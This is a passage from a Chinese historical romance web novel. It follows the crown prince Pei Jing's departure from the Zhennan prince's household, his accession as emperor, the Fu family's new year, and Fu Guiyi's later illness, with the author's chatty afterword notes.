他们虽是双生子,性格却一点也不像,除了那双眼睛,其他地方估摸着长得也不相似。 当年自己怎么会觉得他与傅归荑长得一模一样,从而鬼使神差地冒险救下他。 “我们就是最适合彼此的。”裴璟平复呼吸后冷冷甩下这句话后离开。 “裴璟!”傅归宜冲着他冷漠强势的背影大吼:“你要娶走她,先从我的尸体上踏过去。” 裴璟连步子都未曾停顿一下,快速消失在院门口。 后面连着三日,裴璟每天都按时给傅归荑送来烤鱼。 两人用膳时安安静静的,俊朗的男人悉心替貌美的女子剔鱼,他眉梢带笑,目光温和,女子脸上虽没有什么表情,却也十分给面子吃下所有放在碗里的鱼肉。 远远看去,算得上一幅郎情妾意的才子佳人图。 傅归荑吃完最后一块鱼肉,放下玉箸,淡声道:“裴璟,我原谅你了。” 裴璟动作一僵,手悬在半空中,好半天才反应过来傅归荑在说什么。 “你、原谅我了?”他声音有些结巴,眼神不可置信:“我对你做的那些事情,你真的愿意就这样轻易原谅我。” 傅归荑扯了个浅笑,声音更是如浮在湖面上的枯叶般轻:“但只有原谅。” 那一瞬间,裴璟脑子里是茫然的,大抵是心痛到了极致,他已经变得不会思考。 然而下一刻,他听懂了傅归荑的言外之意。 原谅他,放下他,不想再见他。 裴璟骤然红了眼,泪水决堤般往外冒,心中剧痛,痛得他几乎不能直起身,密密匝匝的万千根针淬了毒,同时扎满他的全身。 无一处不再痛楚,无一处不感到绝望。 她不是在原谅他,她是在放过自己。 “我对你做了这么多错事,伤害的事……”裴璟扯了比哭还难看的笑:“你难道不打我一顿出出气,或者我给你捅上几刀。你还记得在平溪猎场时,你帮我上药时故意弄疼我的伤口……对了,还有在抚城落水时你也用了这一招。” 裴璟胡乱地抹了一把脸上的泪,继续给她出主意:“你不是喜欢扇人巴掌吗,我给你打行不行,打到你满意为止……或者你捅我两刀。” “傅归荑,你不要这么轻易原谅我……” 不要这么轻易遗忘我,将我们的过去抛之脑后。 傅归荑脸色淡淡地递给裴璟一块手帕,解释道:“我不喜欢扇人巴掌。” “那你喜欢怎么样,我都答应。你若还想在家里多住一些时日也是可以的,等我……” 傅归荑打断他:“把手伸出来。” 裴璟乖乖照做,手心朝上。 傅归荑拿起方才使用的玉箸,用力在他掌心狠抽了几下。 裴璟的掌心有大片大片火灼的痕迹,有些结痂未曾脱落,还有些是新添上去的。 她一眼认出,这是控马的缰绳摩擦造成的新伤。 然而她在抽打的时候却没有刻意避开,傅归荑放下玉箸漠然道:“这下一笔勾销了。” 裴璟听出她的敷衍了事。 她的力气小,再加上本就无心惩罚,裴璟根本没什么感觉。 “我不送你了,哥哥去送吧。”傅归荑道:“祝你一路平安,顺利登基。” 裴璟半天没说出一个字,怔怔望着傅归荑。 “你不怕,我把你掳走,亦或者威胁你离开?”裴璟故作冷漠道。 “你不会。”傅归荑淡淡摇头:“若真是如此,你何必在这里与我多费唇舌,直接动手便是。” 那日裴璟忽然给她做烤鱼时她便察觉到不同寻常,若真是为了之前应承的玩笑话,他何苦在镇南王府里做这些事。 后来他又说自己要做守诺之人,傅归荑便已经猜到他不会用强,他在给她时间。 这三日,她思索很多,想到夜不能寐,胸口涌出百般滋味,爱恨交织,痛得她几乎不能下榻正常行走。 她如何不恨,不怨。 想她一生从未做过恶事,除了哥哥,没有对不起任何人。上尊父母,下爱子民,对朋友虽算不上热忱,却也交付真心,从没有利用过谁,伤害过谁。 为什么老天对她这么不公平! 她幼时艰辛求生,少时努力扮作他人,成年后更是兢兢业业从不敢行差踏错一步。 她既不追求达官显贵,也不图扬名立万。她只想简单的活着,和家人一起共度余生。 究竟是造了什么孽,做错了什么事才让她遇上这些糟心事情。 难道她生来便是到世间尝尽百种苦头么? 傅归荑想不通,若真如此,为何她不在娘胎里直接死去。 她有很多次都想拿着刀抵在裴璟脖子上质问他,为什么要这么对她。 她憎恶命运赐予她的一切磨难,甚至想过自我了断,不必再叫旁人为难。 心绪的极端起伏让她连连发梦,好几次都半夜从梦中惊起,浑身觳觫,泪流不止。 她难以接受的是,梦里不仅有裴璟对她的恶,还有对她的好。 切忌大喜大悲。 爱恨于她,皆是累赘。 她要原谅的,不是裴璟。 是命运对她的不公。 不要回头,眼睛永远朝前看。 裴璟强自按捺住眼里翻涌不止的泪意,抬手狠狠抹了一把脸,还想放出些绝对不同意的狠话,抬眸一看,心头窒了下,生生咽下心中的不甘。 傅归荑双眸透着无比的倦怠,像是与人搏斗了三天三夜似的,脸颊苍白消瘦,气息恹恹,好似对什么东西都失了兴致,却还强撑着与他周旋。 裴璟心脏狂跳,惊惧难安。 “你在想想,好不好?”裴璟不敢再刺激她,“先好好休息,我们的事……再说。” 傅归荑低垂眼睫不语,一副拒人千里之外的模样,把她自己与世间隔绝。 裴璟想她现在约莫是不想看见自己的,急匆匆离开,走到门口是被门槛绊了一下,差点摔了个倒栽葱。 当晚,裴璟失魂落魄地来到傅归宜的房间里。 傅归宜对这位不速之客没什么好脸色,冷嗤道:“太子殿下,半夜来访有何贵干,莫不是提前来结果了我?我的命给您的大婚做贺礼如何?” 裴璟任他奚落也不还嘴。 等到傅归宜说够了,裴璟方才开口。 “看在十年相伴上,帮帮我,要怎么才能得到她的原谅。” 他的声音疲惫无助,傅归宜却冷笑连连。 “好啊,我说过,你得先尝尝我妹妹受过的所有伤和痛,才配谈原谅。” 作者有话说: 裴璟:在我眼里,老婆柔弱不能自理,世界充满危险,只有我才能保护她。 裴璟:老婆说了爱,你让我怎么下手。 兄妹两能成功逃脱,除了他们的计划确实周密,更大的原因是男主真的太在乎女主了。 懂得都懂,下一章! 第74章 新年 孽缘,断了也好。 苍云九州的冬日不像南陵京都那样冷, 夜里却依旧寒风入体,今夜还下着雨。 裴璟从傅归宜的房里步履蹒跚地走出来,冰冷的雨打在他的身上, 如同冰锥一般扎进他的伤口里。 后背的血和雨混在一起,他身上散发着浓烈骇人的煞气。 若他手里拿一把出鞘的剑, 便像从九死一生的浴血战场中搏杀出来的幸存者, 脚下踩着名为裴璟的尸骸跋涉而过时, 落下滴滴猩红。 裴璟走近傅归荑小院时,季明雪赶忙上来递了一把伞。 他闻见了很浓的铁锈味, 担忧地看着裴璟,唇瓣蠕动终是什么也没说。 裴璟目光透过雨幕始终黏在那扇关紧的大门上,低声吩咐了一句什么, 雨太大,季明雪需要靠得很近才能听清。 明白裴璟的意思后, 他的瞳孔骤然微缩, 有一瞬间充满诧异,最后恭敬的点头, 表示马上安排。 他把伞强行塞进裴璟手里, 转身离开。 裴璟走到傅归荑门口时, 手里的伞早已不知被狂风吹向何处,雨里夹着雪粒,像盐似的烫得后背火辣辣地疼,又冻得他四肢麻木。 他像是没有知觉似的, 静静地站在黑暗里,与黑暗融为一体, 唯独闪烁着一双亮得惊人的黑眸。 忽而, 他的双唇微张, 握拳抵着唇咳嗽起来,一声比一声低沉,腹腔收缩得却越来越剧烈。 最后他喉间急速滚动,终是忍不住呕出一口血,很快被瓢泼大雨冲散。 傅归宜不愧是暗卫首领,刑讯逼供堪称顶尖高手,跟了他十多年,对他身上的旧伤更是了如指掌。 雨下了一夜,裴璟在门口站了一夜。 天边泛着鱼肚白,微光照在裴璟被冻得青白的脸上,两鬓的白发隐隐有扩散的趋势。 他的头发,衣衫,和长靴都被冰水浸泡,身体僵硬,每做出一个微小动作都十分艰难。 太阳渐渐高升,当第一缕日光刺向裴璟双眸时,屋里传来窸窸窣窣的穿衣声。 傅归荑醒了。 裴璟多希望今日的太阳永远不要升起,这样还可以假装他们可以一直在一起。 傅归荑穿了件厚衣裳,临近年关,天气愈发的冷。 昨夜还下了场冬雨,她半夜被冷醒,寻了一床厚被子才重新睡下。 风呼呼地刮蹭木质窗牖吭哧吭哧响,她下意识往窗外看去,重重叠叠的黑影搅作一团,像张牙舞爪索命的厉鬼。 傅归荑又不是小孩子,自然不会怕,扫了两眼便继续睡。 起床后她准备推开门透透气,谁知门却好似被什么东西卡住了。 傅归荑皱眉,正准备用点力推开,外面传来裴璟的声音。 “傅归荑,京城有事,我要回去了。” 他的声音是一贯地沉稳有力,听不出什么情绪。 傅归荑抬起的手垂下来,眼皮压低盯着门栓没说话。 好在裴璟并没有想等她回答的意思,自顾自道:“你的意思,我明白的。我走以后,你要好好的。” 她想放下过去,放下与他过往种种的爱恨和他带给她的伤害。 傅归宜说,从前都是她在适应他,这次换他来适应傅归荑。 他的眼眶泛起酸涩,热意止步住往上涌:“多用饭,少饮酒,尤其是冷天,你总爱空腹小酌两杯,这样伤胃……” 裴璟絮絮叨叨说了很多琐碎的小事,诸如她吃饭的时候不会注意温度,喜欢吃热食,还爱喝隔夜的凉茶,穿衣总是会下意识勒紧胸口,把自己勒得喘不过气……零零总总他皆如数家珍一一道来。 很多事小到傅归荑都诧异自己真有这些习惯么? 裴璟声音越来越沙哑,自嘲低笑了声:“我今天的话好像有些多,你是个安静的人,想必定不耐烦了罢……” 隔着门,傅归荑回他:“没有。” 裴璟换了种笑,笑声略带悲凉:“那就好。我不想临走前还惹你不快。此去一别,不知何时还能再与你好好说上一句话,我怕现在不说,就再也没有机会说了。” 傅归荑试着往前推门,发现纹丝不动。 “别开门。”裴璟察觉到门内的人想出来,他眨了眨眼,压下微微哽咽嗓音,故意扬声道:“我怕一见到你,就忍不住直接抓你回去。” 傅归荑停住手。 裴璟被雨淋了一夜,后背的伤口结痂与衣服黏在一起,头发断断续续滴着水,他想想也知道自己的样子有多狼狈。 他不想让傅归荑看见他落魄的模样。 自己在她心里虽算不上什么好人,至少也能算个枭雄,他不屑于装可怜去博取她的同情,更不愿把自己无能为力的一面暴露在她面前。 他希望在傅归荑记忆里,自己永远都是运筹帷幄,决胜千里的裴璟。 他眼睛更红:“你说的对,我们是孽缘。” “孽缘,断了也好。” 他的声音越发的轻,说到最后一个字时已成气音。 一门之隔,傅归荑的手覆在门栓之上,外面同一个地方放的是裴璟的手。 她轻轻颤了颤长睫,蠕动唇瓣却终是未出一声。 缘分了断,无话可讲。 裴璟的胸膛急剧起伏,嘴里大口大口呼吸。 听见院外动静,他知道时间已到。 “我走了,你好好的。” 说完仰头将眼前的白雾倒流回眼眶里,毫不犹豫地放开拉住的门锁。 “知道了。” 转瞬刹那,裴璟听见傅归荑清冷的声音从门内传来,扯了个转瞬即逝的笑,却再也没回头。 出了院外,季明雪已经点齐人马列队在侧,一行银甲威风凛凛,在阳光反射下熠熠生辉。 裴璟几步之间已然恢复成那个睥睨众生,无坚不摧的南陵太子,他的衣衫虽褴褛,气势却逼得人退避三舍。 接过季明雪手中的披风,振臂一挥披在身上,掩盖住半身伤痕。 裴璟去向镇南王辞行。 傅归荑等外面动静散去才打开门,雨后的院子似乎萧索了许多,枯叶落了一地。 环视一周,视线最后落在院子的石凳处,石桌上赫然放着一把银弓。 裴璟一行人骑马驻足在镇南王府大门牌匾前,上面的红绸红花已经取下,门口再无一丝喜庆的装饰。 他调转马头,往城门方向。 扬鞭前,他回头看了一眼。紧接着有墨绿色的袍角落入他的眼中,裴璟的眼睛亮了一下,慌忙再控制马头回转。 待看见是谁后,眸中的光瞬间黯淡。 傅归宜站在门口,冷冷盯着他,似乎要亲自确定他是不是真的走了。 “等等。”傅归宜走到裴璟的身边,二话不说扯下他腰间的玉坠。“别再来了,否则我见你一次打一次。” 裴璟垂眸看着空荡荡的腰带,一言不发勒住缰绳转了个头,清脆地马鞭声划破冬日干燥的空气。 一群人以他为首,入鱼贯从地离开城门,沿着关道一路向东。 北风猎猎,吹在裴璟的衣袍上,湿润的衣襟渐渐风干,如同眼角含着的那点水光,一齐消散在风沙里。 抵达滕城边缘,裴璟抬眼看了眼城门上镌刻的二字。 离开苍云九州的范围了。 忽而,他眼前一片白茫茫糊点,渐渐连成一片,抓住缰绳的手颤抖不止,身体忽冷忽热,还等不急下马便已经失去意识。 “太子殿下!” 季明雪吓得目眦欲裂,连忙跳下马扶住跌倒在地的裴璟。手碰到他的后背,染了一掌的鲜红。 “他真的走了?”镇南王还有点不敢相信,本来他都做好双方撕破脸的准备,没想到裴璟竟然这么不声不响地离开了。 “真的。”傅归宜找人跟在裴璟后面,探子亲眼见他和季明雪入了滕城。 不仅如此,跟着来的一千追云骑也悉数撤回,彻底离开镇南王府。 今天他居然还能骑马撑到滕城。 想到断裂在屋子里的长鞭,傅归宜只觉得昨晚还是手下留情了。 “不管怎么说。”镇南王长叹一口气:“总算是能过太平日子了。” 傅归宜没接话,他总觉得裴璟不会这样轻易善罢甘休。 罢了,兵来将挡水来土掩,下次再来他再打出门去便是。 宣安二十八年十二月初。 宣安帝病逝于德安殿,享年四十六。 宣安帝死前下旨身后事一切从简,不得大操大办,太子裴璟遵照遗旨行事。 同年年末,太子裴璟登基称帝。 新帝至纯至孝,与宣安帝父子情深,遂决定为父守孝三年,不举行大婚,同时停止选秀一切事宜。 新帝上位,苍云九州一切照旧。 此刻,镇南王府内再一次挂上红绸,为的是迎接新年。 这是一家重聚的第一个新年,镇南王和王妃都很重视,兄妹两也隆重对待。 府里到处焕然一新,挂红灯笼,贴吉祥对联,添置新衣。 明明只多了一个人,傅归荑却觉得今年比往年,热闹太多,闹得她心里热腾腾的。 除夕夜当天,镇南王大手一挥在苍云九州各地燃放烟花以示庆贺。 绚烂的烟花下,笑容满面的一家人坐在满满一桌子席面前互相说着吉祥话,他们身穿新衣,举杯共庆明年。 “祝父亲,母亲长保身荣贵,年年共守岁。愿哥哥嘉庆与时新,今年胜去年。” 傅归荑起身说着祝酒词,幸福地望着围在自己身边的家人,连饮三杯。 镇南王和傅归宜都非常赏脸地与她同饮,互相又道岁岁年年,共欢同乐。 一整晚,傅归荑的笑容就没断过。 其余三人也俱是喜气洋洋,分离十三年,一家四口终于能安静地坐下来一起迎接新年。 明明灭灭的白光在她白嫩细腻的脸颊上闪烁着,双眸含光,绚烂至极。 南陵京城的天空也在子时燃放了盛大的烟花,庆祝新一年的到来,同时也庆祝新帝登基。 然而新帝在孝期,免了除夕宫宴,让文武百官回去陪伴家人。 裴璟身穿便服回到东宫,他无子嗣,自然无人入住。 这里曾经是他的寝殿,后来傅归荑住进来,便成了裴璟心里的家。 再后来,一场大火烧掉一切。 屋子里的所有东西都恢复原样,唯独再没有那个人。 裴璟原本以为,今年的新年他不会又是一个人过。 “新年快乐,傅归荑。” 裴璟举起酒杯,对着旁边的空气轻声道。 “如花似叶,岁岁年年,共占春风。” 最后一个尾音落下时,白亮的烟花在裴璟头顶炸开。 火焰斜斜照在他身上,拉出一个影子,恰好坐在他对面的位置上。 新年第一天,一封八百里加急从南陵皇宫送往苍云九州镇南王府。 十日后,傅归宜看着信件内容止不住冷笑。 他就知道,裴璟绝不是那么容易放手的人。 作者有话说: 裴璟:在老婆面前哭太多次了,要挽回一下作为男人的尊严,不然她以为我是弱鸡怎么办? 如花似叶,岁岁年年,共占春风。——晏殊《诉衷情·海棠珠缀一重重》 岁岁年年,共欢同乐,嘉庆与时新。——晏殊《少年游·谢家庭槛晓无尘》 五更催驱傩,爆竹起。虚耗都教退。交年换新岁。长保身荣贵。愿与儿孙、尽老今生,神寿遐昌,年年共同守岁。——宋·晁补之《失调名》 第75章 日常 男女主无同框,慎买 裴璟是什么样的人, 天下间再没有比傅归宜更清楚的。 先不说他是如何心狠手黑把北蛮搅得腥风血雨,支离破碎,连刚出生的幼婴都能面不改色地利用, 让北蛮太子与三皇子自相残杀。 单说他回南陵稳固地位后,立刻提出要进行改革, 打破世家门阀举荐官员制度, 采用公平的科举制遴选得用的人。 此一项提出来, 完全动摇了那些勋贵的根基,他们趁裴璟还没有只手遮天, 花重金买凶刺杀他。 傅归宜觉得那段时间是他暗卫生涯中最黑暗,最劳累的时刻。 毫不夸张地说,十天内裴璟最多遭遇四次刺杀, 三次投毒和两次鸿门宴。 用九死一生来形容绝不为过。 即便是这样,也仍未能阻挡他想要变革的心。 谁拦他, 他杀谁。 谁阻他, 他灭谁。 那段时间杀的人,甚至比选出来的还要多。 连他都动摇了, 有次还问裴璟为什么不一点点来, 举荐制和科举制同时进行, 缓和矛盾。 他的回答是,这样只会让科举制变得毫无意义。 只要举荐制一直存在,就会有人想走偏门歧路而非靠自身努力,甚至那些由科举制选上来的人也会被腐蚀。 有了轻松的途径, 谁会选择更难的路。 而且他没有时间去一点点改变,他还有更重要的事情要完成。 后来的结果也验证裴璟的预测。 南陵虽有一段时间的混乱与职位空缺, 但很快被那些有才华却无处施展的能人志士补上, 他们等待多年终于有机会一展抱负。 千里马不常有, 伯乐更难得。 这群千里马成为了裴璟往后征伐北蛮最重要的助力,他们前仆后继,他们不惧生死。 镇南王那日告诉傅归宜,有了傅家,裴璟只是加快攻下北蛮的速度。 他不会把命运和希望寄托在其他人身上。 傅归宜还知道,在他提出要征伐北蛮那日,当即有数十个御史大夫死谏阻拦,他们血溅当场也未能让裴璟眉头皱一下。 傅归宜看着他一脸冷漠地说着厚葬二字。 无论多少人劝他,甚至有他一手提拔上来的亲信都质疑他的决定。 裴璟丝毫不动摇,一人之力抵抗千军万马。 选举制的好处立即体现出来,他们背后没有世家门阀支撑,即便心里不服不赞同,也会切实执行裴璟的每一个命令。 桩桩件件都体现他是一个一旦下定决心做什么事,无论如何都不会轻言放弃的人。 只要他不死,就一定要做到得到。 这次他如此爽快地走人,傅归宜并不觉得是件好事。 果然,他的后招来了。 裴璟以为国殇为由,要求天下百姓三年内嫁娶事宜必须提交户部登记,审核批准后方能简单行事。 换言之,三年内天下的嫁娶都得裴璟说了算。 傅归宜冷眼看着公文上的白纸黑字,最末端有裴璟的御批。 他就差指名道姓地说,傅归荑别想嫁给其他人。 这才是傅归宜认识的裴璟。 不达目的,誓不罢休。 傅归宜过了十五元宵节后,才把这件事说给傅归荑听,话里话外都在暗讽裴璟。 “他根本没想过真正还你自由,你瞧瞧这嚣张的字,明摆着说他最多只能等三年。” 傅归荑扫了眼公文上面的字,字正方圆,她没瞧出嚣张,更像是一封郑重的保证。 裴璟保证三年内绝对遵守诺言,不会打扰她的生活。 三年后,他会继续等着她的决定。 “我也不想嫁人。”傅归荑安抚哥哥:“嫁了人就要相夫教子,孝敬公婆,说不准还得替丈夫张罗妾室。我习惯当男人了,不习惯做这些。” 那场乌龙婚礼最后不了了之,也是从这件事中让傅归荑发现了邓意对自己的心思。 她不想耽误邓意,找了个机会与他说清楚,自己对他只有兄妹之谊,并无男女之情。 傅归荑对他的话到今日仍记忆犹新。 “大小姐,如今也懂什么是男女之情了。” 邓意的脸色闪过伤心,不甘,嫉恨,最后化作她熟悉的温和笑意。 “邓意能陪你长大,我已无憾。” 次日,邓意便向镇南王辞行。 苍云九州横跨东西,镇南王府位于最中间的第五城,邓意自请去最西边,远离南陵皇宫的那座边城镇守。 镇南王同意了,他正式将邓意收为义子,不改名记入族谱。 邓意离开时没有通知任何人。 傅归荑听说后默然不语,他需要时间放下。 自己能做的,就是不去打扰他。 傅归荑打趣道:“哥哥这么想把我嫁出去,是不是嫌我在家惹人烦了?” 傅归宜笑骂:“说什么胡话,我是怕到时候他跟个狗皮膏药似的,你甩不掉。” 他站起身道:“也罢,总不能因为他就盲婚哑嫁。若是你有喜欢的人便告诉我,到时候我去南陵京城偷偷溜进户部帮你盖章。” 傅归荑笑着说好。 转眼过完正月。 镇南王见傅归宜对苍云九州的事务悉数了解,也逐渐上手,转头便写了封折子请求将爵位传给儿子。 裴璟接到折子后没有为难,还送了一份厚礼给新上任的镇南王。 “他一定是在咒我。”傅归宜跟妹妹抱怨:“有谁接替爵位,庆贺的人送来一车一车药的。他是在暗示说我脑子有病,药不能停?” 傅归荑帮他出主意:“那你回他几匹上了年纪的马。” 傅归宜满意地点头。 连同老马送去的,还有老牛。 意喻裴璟不要总想着老牛吃嫩草。 很快,傅归宜明白过来那些从南陵京都运过来的药材不是给他的,是给傅归荑的。 某日,从南陵京都来了两个人。 一个是经常给傅归荑看诊的太医,另一个是素霖。 太医说他已经到了告老还乡的年纪,自己一生未娶,茕茕孑立。有幸在南陵皇宫得知苍云九州有许多他未曾涉猎的医术,故而慕名前来学习。 “老朽姓张,请镇南王看在我与大小姐有旧的份上照拂一二。” 傅归宜心道这不就是裴璟派来的探子,本想拒绝,但转念一想傅归荑的身体情况他最清楚不过,先把他的方子套出来,再把人打发走。 张大夫似乎并没有想做裴璟耳目的打算,他替傅归荑把了脉,写了方子,便大大方方离开。 还约定每隔一段时间再回来重新诊脉,调整药方。 傅归宜觉得这是个不错的主意,欣然同意。还给予张大夫一块镇南王府的令牌,若在苍云九州范围内遇见什么摆不平的事,拿这块令牌去当地的府衙即可。 张大夫也没推辞,收下谢过。 另一个是素霖。 “我已经到出宫的年龄,家人都死于北蛮人手里,无处可去。听闻大小姐在苍云九州还缺个使唤的人,若您不嫌弃,我想寻个庇护之所。” 傅归宜拒绝了。 素霖是东宫掌事女官,她怎么可能没地方去,裴璟没了他,安插眼线的手段未免太过拙劣。 素霖也没纠缠,只是在城内一处小屋住下。 傅归宜找人日日夜夜盯着她,想看看裴璟又在耍什么花招。 傅归宜上任后,利用暗卫的力量,和父亲两人一同找出了当年泄露他们隐匿地点的奸细,是父亲同父异母的兄弟。 因为嫉妒镇南王的才能,故意一路上留下记号让北蛮人找了过来,迫使傅归宜与家人分离数十年。 做了这件事后他心虚不敢再冒头,暗中潜伏着,装作整日无所事事,游手好闲。 直到这次兄妹两身份互换被他抓到了把柄,他偷偷写了一封信送往南陵京都被傅归宜截获。 信中说了两兄妹偷龙转凤一事,状告镇南王故意以嫡女代替嫡子上京,心存不轨,意欲谋反。 傅归宜看了后都气笑了。若真是让裴璟拿到这封信,他指不定要怎么阴阳怪气自己是个废物,有本事回苍云九州,没本事护住傅归荑。 他们顺藤摸瓜查出这桩旧事,最后找了个罪名,处决了他。 一年春去秋来,眨眼而过。 傅归宜在父亲的帮衬与指点下,已经能够独自承担所有的事情。 他们一家人还给兄妹两个共同庆祝十九岁的生辰。 傅归宜送了妹妹自己亲手制作的长弓,虽然不如逐月弓华贵精美,但胜在轻便小巧,还能折叠携带,傅归荑很喜欢。 傅归荑送了哥哥自己亲手种的枇杷,这一年她忽然喜欢上了种果树。 在镇南王府一隅,种有橘树,桃树,梨树,枇杷树,芭蕉树…… 她也不管到底适不适合苍云九州的气候,想到什么就种什么。 傅归宜含泪吃下去,看着满满一筐枇杷,他大方地分了一半给父亲,美曰其名好东西一起分享。 老镇南王也含泪吃下去。 无他,傅归荑实在没什么种植天赋,上个月下的油桃每一个又涩又苦,这次的枇杷也不负众望的酸出天际。 然而她难得有一个兴趣爱好,大伙都非常给面子吃完了。 这一年,他们还陆陆续续收到傅归荑种的很多水果,父子两高兴到好几次两人不约而同都趁夜去将树上的果子连夜摘干净丢出去。 “到底是土有问题,还是苗有问题。”傅归宜语气慎重,像在探讨什么国家大事一般。他手上小心地用剪刀剪下隐藏在叶片后又硬又绿的果,已经长在外面的不能摘,会被傅归荑看出来。 老镇南王叹了口气,“是我们舌头有问题。” 说完毫不犹豫摘了葡萄苗上的花,坚决不能让它长出来。 南陵皇宫。 裴璟面不改色地吃下从苍云九州送来的橘子。 因为还没有成熟,送过来的时候硬邦邦的。 空气中酸涩的味道让站在裴璟三尺外的赵清都忍不住变了脸。 赵清小心翼翼问需不需要吃点什么蜜饯之类的缓一缓,裴璟表示不需要。 过了一会,宫人送来一碗热气腾腾的药,药汁苦黑。 裴璟等温度稍降,一饮而尽。 夜里,沐浴更衣后他站在铜镜面前,看着里面的自己。 两鬓的雪白又渐渐染成青黑,他悄然松了口气。 又一年新春,镇南王完全卸下重担,打算带着妻子云游四海,看一看这盛世山河。 老镇南王本来还想把傅归荑捎上来个全家游,主要是能让她离开镇南王府,傅归宜好趁机把她园子里东西都换一轮。 她放心不下自己的树苗,拒绝了。 老镇南王递给儿子一个同情的眼神,笑容满面拉着妻子离开,并说会在两人生辰前赶回来。 兄妹两送别二人。 傅归宜默默决定今晚上去把那棵枇杷树砍了,再谎称是风太大折断的。 作者有话说: 傅归宜:倒油我是专业的。 裴璟:你最懂我?哪有老婆懂我。 第76章 恶客 亭有枇杷树, 一年可结果。 傅归宜今年没能吃上让他怕得牙痒痒的枇杷。 三月末的倒春寒格外严重,大雨连绵不断,冷入骨髓, 连带着枇杷树都被冻得奄奄一息,别说开花结果, 连叶片都掉了一大半。 院子里其他果树也因风雨被毁了小半, 大部分都只栽种了一年, 根基不稳,遇到狂风骤雨自然抵挡不住。 这样看枇杷树反倒是最顽强的, 傅归荑平日里约莫是下了大力气去看护它,树枝干粗壮,根系牢固, 没有被风卷折,鹤立鸡群般挺立在园中, 有那么点遗世独立的味道。 然而傅归宜却没心思去管这些, 因为傅归荑病了。 “三天了,她的热度怎么还是不退。”傅归宜看着昏迷不醒的妹妹, 派人到处去找张大夫。 苍云九州是游牧民族的聚集地, 他们天生身体素质强健, 很少生病,流血受伤更多。治疗跌打损伤,止血生肌的奇药和优秀大夫有很多,但精通身体调理和疑难杂症的人却很少。 天下医术优秀者尽皆汇集南陵, 尤其是宣安帝怕死得很,在位时重金聘请天下名医为其调理诊治, 如今叫得上姓名的名医基本供职于太医院。 傅归荑咳嗽了两声, 傅归宜赶紧走到她床边, 叫了她名字。 傅归荑迷迷糊糊地应了两声。 素霖正好端药进来,一人将傅归荑扶起来靠在床头,一人喂药。 傅归宜原本不想让素霖入府,但是实在是没有合适的人来照顾傅归荑。 从前她为了不暴露身份,从不允许其他人近身。 若是生病了,要么是父亲母亲,要么是邓意轮流照顾,傅归荑仿佛有种信念似的,身边好得很快。随着年岁的逐年增加,她虽身体不算健壮,却很少生病。 这次来势汹汹,傅归宜一个大男人实在有诸多不便,况且苍云九州事务繁忙,他也不能时时看顾。 之前他曾去母亲屋子里找来个丫鬟照顾傅归荑,谁知越照顾她身体状态越差,大夫说是晚上没睡好。 傅归宜这才知道傅归荑的鼻子灵敏异常,若是有外人的气息在房内她没办法入睡。 无奈之下,他想到了素霖。 将人带进来后,傅归宜全方面监视她,决不允许她有往外传消息的机会。 好在素霖除了照顾傅归荑,没有任何多余的举动。 傅归宜在房外来回踱步,望着重重的雨幕,心里有个设想,要想办法发展苍云九州的医术。 傅归荑这次生病给他提了个醒,也许在他不知道的地方还有许多像妹妹一样天生体虚的人。 “王爷,人找来了。” 张大夫急匆匆背着药箱,趁着伞小跑进屋。 傅归宜跟看见救星似的,连忙上去迎,快速说明傅归荑这几天的症状,又请人去取了药方来给张大夫一观。 张大夫擦了擦身上的水渍,拿过药方扫了一眼,坐在床边矮凳上把脉。 “大小姐只是受了寒发高热,药方没有问题。”张大夫微微皱眉,抬手去掀傅归荑的眼皮。 “那怎么会一直不醒。”傅归宜急急道:“之前她在东宫也这样吗?” “到没有。”张大夫想到每次替傅归荑把脉,她的脉象不强,却有股顽强的意志在催动这具身体迅速好起来。 “许是刚刚从京城到家,气候有些不适应。”张大夫安抚道:“我再调整一下药方,吃两天试试,王爷不必太过忧心,会好起来的。” 他笃定的语气让傅归宜安心不少,恰巧这时有下属来找,傅归宜嘱咐两位照顾好妹妹,急匆匆离开。 他走后,张大夫和素霖四目相对,都从彼此眼中看到凝重。 又过了三天,傅归荑的热退了不少,人也有清醒的时候,傅归宜大大松了一口气。 他心疼地看着妹妹短短几天迅速消瘦,脸无血色,双唇泛白。 听见他的声音,傅归荑眨了眨眼,无神的双眸慢慢有了焦距,旋即抬头冲他露出个浅笑,直言自己给他添麻烦了。 傅归宜怔怔看着她澄澈透亮的眼睛,胸口酸涩,内心涌起巨大的恐慌。他强行扯了个笑意,故作轻松道:“说什么傻话,我们兄妹两有什么麻不麻烦的,我巴不得你一辈子麻烦我。” 他的声线微微发着颤,问她还有哪里不舒服。 傅归荑虚弱无比,淡淡道:“有点累。” 说完没过一会儿,又阖上了眼。 傅归宜低头凝视睡过去的妹妹,心像被一块巨石压上,呼吸断断续续的。 他替她捏了捏被角,悄悄地退了出去。 傅归荑的眼里没有对世界的牵绊。 她像是完成了使命一样,此生无憾。 傅归宜站在门外沉默了很久,自己作为哥哥实在是失职,他竟从未注意过她的异常。 忽然天空闪过一道惊雷,也炸开了镇南王府的大门。 “你来干什么?”傅归宜面色不善地看着不速之客。 一年不见,裴璟气势更甚,黑夜非但没有将他的威压冲淡,反倒平添几分莫测的诡谲,叫人更加猜不透他的心思。 “来找你叙旧。”裴璟对他的横眉冷目毫不在意。 “我跟你没旧可叙,”傅归宜冷笑道:“你不会是来抢人的吧?” 裴璟负手而立,下巴微扬:“我若真是来抢人的,还需要通知你一声?” 傅归宜挡在大门口,伸手拦住去路:“我说过你不要再来了,否则我见一次打你一次。” 裴璟还没说话,跟在旁边的季明雪先忍不住了:“镇南王,你放肆,如何能对陛下如此无礼!” 傅归宜半眯着眼,愣是不让他进门。 裴璟懒得跟他多费唇舌,径直往里走,路过傅归宜时淡淡道:“我先进去,其他事情容后再议。” 说罢,拂开他的手,大步流星向傅归荑院子里走。 傅归宜气得冲他大喊:“你不是来找我叙旧的?我的书房在那边!” “我跟你没旧可叙。” 傅归宜正准备叫人拦住裴璟,被季明雪先一步阻止。 “陛下不眠不休赶了六天路,你让他看一眼。”季明雪皱眉道:“接到傅小姐生病的消息,陛下寝食难安,几乎是立刻从南陵启程过来。” 从苍云九州到南陵京城的距离大概是十日,裴璟定是路上不停歇才能在六日之内赶到。 傅归宜哈了一声,“说得好像来见最后一面似的。” 话音刚落,他意识到自己在说什么,连忙呸呸呸了三声。 “说不准他来了,我妹妹病得更重!” 傅归宜又呸了三声,裴璟气得他脑子都糊涂了,话也不会说。 季明雪一脸看傻子似的看着他。 傅归宜白了他一眼,赶忙跟过去,以免他又作出什么荒唐事,比如直接把人打包带回京城。 等他来到傅归荑院子时,发现裴璟规矩地站在院外,低头正与素霖说什么。 “真奇怪,他怎么没有直接闯进去?”傅归宜像是第一次认识裴璟一样,他什么时候还学会了非请勿入。 